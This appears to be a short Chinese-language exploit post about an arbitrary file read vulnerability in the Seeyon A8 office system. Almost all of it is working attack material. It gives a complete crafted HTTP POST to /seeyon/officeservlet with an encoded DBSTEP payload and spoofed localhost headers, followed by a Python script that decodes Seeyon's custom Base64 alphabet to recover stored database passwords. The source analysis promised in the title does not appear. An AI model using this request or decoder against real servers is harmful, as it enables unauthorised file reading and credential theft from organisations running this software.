源码分析致远A8任意文件读取漏洞，附数据库密码解密脚本

POST /seeyon/officeservlet HTTP/1.1Host: xxxxPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=98FCAEBB95CCBEB2C7209BEF7EAA7B3E; loginPageURL=x-forwarded-for: 127.0.0.1x-originating-ip: 127.0.0.1x-remote-ip: 127.0.0.1x-remote-addr: 127.0.0.1Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 350DBSTEP V3.0     285             0               0              RECORDID=wLoiCREATEDATE=wLehP4whzUoiw=66originalFileId=wLoineedReadFile=yRWZdAS6originalCreateDate=wLehP4whzUoiw=66OPTION=LKDxOWOWLlxwVlOWTEMPLATE=qf85qf85qfDfeazQqAzvcRevy1W3eazvNaMUySz3d7TsdRDsyaM3nYliCOMMAND=BSTLOlMSOCQwOV66affairMemberId=wLoiaffairMemberName=wLoi

import base64# 自定义的Base64编码表a = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"# 标准的Base64编码表b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="# 函数：自定义Base64编码转换为标准Base64编码def custom_to_standard(custom_base64_str):    standard_base64_str = ""    # 创建映射字典    custom_to_standard_map = {ca: cb for ca, cb in zip(a, b)}    for char in custom_base64_str:        # 查找自定义字符对应的标准Base64字符        standard_char = custom_to_standard_map.get(char, None)        if standard_char is None:            raise ValueError(f"Character '{char}' not found in custom to standard mapping.")        standard_base64_str += standard_char    return standard_base64_str# 函数：解码标准Base64字符串为原始字符串def decode_base64(standard_base64_str):    try:        # 去掉可能的填充字符        standard_base64_str = standard_base64_str.rstrip('=')        # 解码Base64字符串        decoded_bytes = base64.b64decode(standard_base64_str)        # 假设原始数据是UTF-8编码        return decoded_bytes.decode('utf-8')    except base64.binascii.Error as e:        print("Invalid Base64 encoding:", e)    except UnicodeDecodeError as e:        print("Unicode decode error:", e)# 用户输入自定义Base64编码的字符串user_input = input("Enter your custom Base64 encoded string: ")try:    # 将自定义Base64编码转换为标准Base64编码    standard_base64 = custom_to_standard(user_input)    # 解码得到原始字符串    original_str = decode_base64(standard_base64)    if original_str is not None:        print("Decoded string:", original_str)except ValueError as e:    print(e)